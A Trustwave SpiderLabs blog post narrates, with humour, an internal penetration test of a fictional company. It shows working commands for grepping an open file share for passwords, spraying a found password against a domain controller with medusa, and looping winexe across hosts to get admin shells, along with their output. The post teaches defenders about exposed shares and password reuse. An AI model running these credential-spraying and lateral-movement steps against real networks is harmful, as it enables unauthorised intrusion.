CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

It Takes Two to Tango (myself, and your unprotected file share)

BananaStand learned from last time (to see last time, go here ). Systems were patched, ACL's were locked down, SIEM was tuned, and the security team got a new coffee pot just to help keep them on edge. Round 2 of our test started early on a Monday morning from within a far away remote office full of developers. At first, I didn't find a thing. I spent what seemed like weeks looking for a way in. I started to doubt my life as a pentester, and began to think if I too could sell frozen bananas to pay the bills. It couldn't be that bad, I'm a fan of bananas. Set my own hours, hone my salesman skills, get my daily allotment of potassium… Then, just as I was drafting my resignation email, I saw a flicker on my terminal:

[+] Attempting to map shares on 10.2.1.61//10.2.1.61/test_share  Mapping: OK, Listing: OK


A share we can access! I save my resignation email as a draft, and start enumerating this machine. Looks like a developers OSX machine, with the test_share directory shared out to the world. I mount the share and start digging around. Looks like some old DB import scripts, snippets of source code, test data, Sharon.avi (which im afraid to click on), and various other nuggets of gold. As you should do with any unknown files, I grepped through them for 'password':

# grep -ri password /mnt/test_share/./test_share/archive/Test/ab2.php:define("PASSWORD", "chillyBanana8"); // Your default super-secret password../test_share/archive/OLD/test/config.php:// username and password to log onto db server./test_share/archive/OLD/test/config.php:$dbpassword='gigglebits';


Awesome, some potentially valid passwords. I tried connecting directly to the db, but it was offline. I bet that chillyBanana8 password is used in more places than this. I wanted to try it against some domain users, so I grepped through the share with a regex that would extract every email address ending in @bananastand.com, giving us a nice list of 35 or so users. Then, I fired up medusa with our userlist and the password we found in the source code against a Domain Controller:

medusa -h 10.2.1.10 -U users.from.source.code -p chillyBanana8 -e ns -M smbnt...ACCOUNT FOUND: [smbnt] Host: 10.250.194.11 User: gmbluth Password: chillyBanana8 [SUCCESS]


Great! Now we have a valid user account on the BananaStand domain. My next step is to see where this little guy has admin access. Lets just write winexe into a quick for loop. Where we get 'ACCESS_DENIED', we don't have administrative access to the system. Where we get a shell, we do :)

for i in $(cat smb.hosts); do echo $i; ./winexe -U mbluth%chillyBanana8 --uninstall //$i cmd; done10.2.1.25ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.31ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.32ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.33ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.35ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.38ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.42ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.43Microsoft Windows [Version 6.1.7600]Copyright (c) 2009 Microsoft Corporation.  All rights reserved.C:\Windows\system32> ipconfigipconfigWindows IP ConfigurationEthernet adapter Local Area Connection:   Connection-specific DNS Suffix  . : BANANASTAND   IPv4 Address. . . . . . . . . . . : 10.2.1.43   Subnet Mask . . . . . . . . . . . : 255.255.255.0   Default Gateway . . . . . . . . . : 10.2.1.1


Shazam! Our compromised user account gives us admin access to the workstation (enough to run winexe / psexec and compromise the box, anyways). From here, we have any number of paths to work our way up to a higher privilege level, and then start the long hunt for access into their DMZ and recovery of critical data (most likely secret banana recipes). As I furiously type an email to my boss demanding a raise, I start to chuckle at my imagined life as a banana salesman. It wouldn't be all bad I suppose. Any way you look at it, theres always money in the BananaStand.

Latest SpiderLabs Blogs

EDR – The Multi-Tool of Security Defenses

This is Part 8 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More

The Invisible Battleground: Essentials of EASM

Know your enemy – inside and out. External Attack Surface Management tools are an effective way to understand externally facing threats and help plan cyber defenses accordingly. Let’s discuss what...

Read More

Fake Dialog Boxes to Make Malware More Convincing

Let’s explore how SpiderLabs created and incorporated user prompts, specifically Windows dialog boxes into its malware loader to make it more convincing to phishing targets during a Red Team...

Read More